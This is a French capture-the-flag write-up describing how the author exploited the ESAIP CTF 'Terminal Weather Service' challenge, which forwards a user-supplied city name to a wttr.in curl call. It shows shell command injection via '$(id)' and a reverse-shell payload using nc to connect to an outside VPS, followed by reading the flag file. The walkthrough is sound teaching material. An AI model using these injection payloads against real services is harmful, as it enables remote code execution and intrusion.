Author : Rxphgui


Nous allons aujourd’hui voir le dernier challenge en pwn de l’ESAIP CTF. Nous n’avions pas de binaire simplement un remote.

Lorsque nous nous connections nous avions cela :

[raphgui@ret2arch:Téléchargements/pwn][1]$ nc terminal-weather.esaip-cyber.com 55555               (06-05 17:00)
Welcome to the Terminal Weather Service

----- MENU -----
 1. Change city
 2. Get weather
 3. Exit

Choice:

Introduction

Ce challenge est celui qui m’a prit le plus de temps (2 heures). Pourtant le principe est simple, on va y venir. Nous avons donc un menu avec des options tels que :

- Change city
- Get weather

Nous pouvons donc enlever les éventuelles technique de heap traditionnelles (Uaf & Double Free).

Nous allons alors tester le changement de ville pour voir ce qu’il se passe :

----- Change city -----
Enter the new city name: MILF
New city: MILF

----- MENU -----
 1. Change city
 2. Get weather
 3. Exit

Choice:

Nous allons tester d’avoir le temps de cette ville :

----- Weather -----
MILF: ⛅️ (Partly cloudy) +31°C 🌒 1012hPa


----- MENU -----
 1. Change city
 2. Get weather
 3. Exit

Choice:

Exploitation

On comprends donc qu’il faudrait passer comme nom de ville notre payload. Au bout de plusieurs essaie, je teste ça :

----- Change city -----
Enter the new city name: /bin/sh
New city: /bin/sh

----- MENU -----
 1. Change city
 2. Get weather
 3. Exit

Choice: 2

----- Weather -----
<a href="/bin/sh?format=%l:+%c(%C)+%t+%m+%P\n">Moved Permanently</a>.

Nous avons réussi à avoir une erreur. C’est à ce moment là que j’ai perdu énormement de temps. Je pensais pouvoir refermer la balise et ensuite injecter une commande. Et j’ai passé plus d’une heure sur ça.

Ensuite j’arrive à avoir une erreur qui me donne un compte Twitter :

Follow @igor_chubin for wttr.in updates

En checkant son twitter, il s’agit du créateur de l’API pour le temps. Pour intéragir avec son API, nous devons faire un :

curl wttr.in/<la ville>

On comprend donc à ce moment là que c’est le cas avec notre programme.

GET A SHELL

J’ai essayé les commandes injections telles que :

ls; | ls# ...

Certain caractère étaient filtrés.

Puis j’ai trouvé cela :

----- Change city -----
Enter the new city name: $(id)
New city: $(id)

----- MENU -----
 1. Change city
 2. Get weather
 3. Exit

Choice: 2

----- Weather -----
>>>    _  _    ___  _  _        
>>>   | || |  / _ \| || |         
>>>   | || |_| | | | || |_         
>>>   |__   _| |_| |__   _|         
>>>      |_|  \___/   |_|       
>>>                          
>>>   404 UNKNOWN LOCATION: uid=1000(challenge)   
>>>                    
----

Nous avons donc réussi à injecter une comande qui a été exécuté par le serveur. J’ai donc fais un ls pour voir ce qu’on avait :

entrypoint.sh

Lancer des commandes par le nom de la ville, est assez long. Il nous faut un shell.

GET A SHELL

Pour cette dernière partie, nous allons donc tenter d’obtenir un reverse shell.

----- Change city -----
Enter the new city name: $(nc 141.95.159.112 1337 -e /bin/sh)
New city: $(nc 141.X.X.X 1337 -e /bin/sh)

Nous avons alors une connection sur le VPS :

rxph@vps-d9a65da8:~$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 20.74.23.147 2048 
id
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
ls -lah
total 20K    
drwxr-x---    1 root     challeng    4.0K Jun  3 17:18 .
drwxr-xr-x    1 root     root        4.0K Jun  5 10:48 ..
-rwxr-x---    1 root     challeng      31 Jun  3 17:15 .flag.txt
-rw-r-x---    1 root     challeng     117 Jun  3 17:18 entrypoint.sh
-rwxr-x---    1 root     challeng    1.2K Jun  3 17:15 weather.py
cat .flag.txt
ECTF{N0_W347h3r_f0r_b4d_b0yyy5}

Ce challenge était super cool, j’ai pu passé une bonne partie de ce challenge à chercher avec hashp4.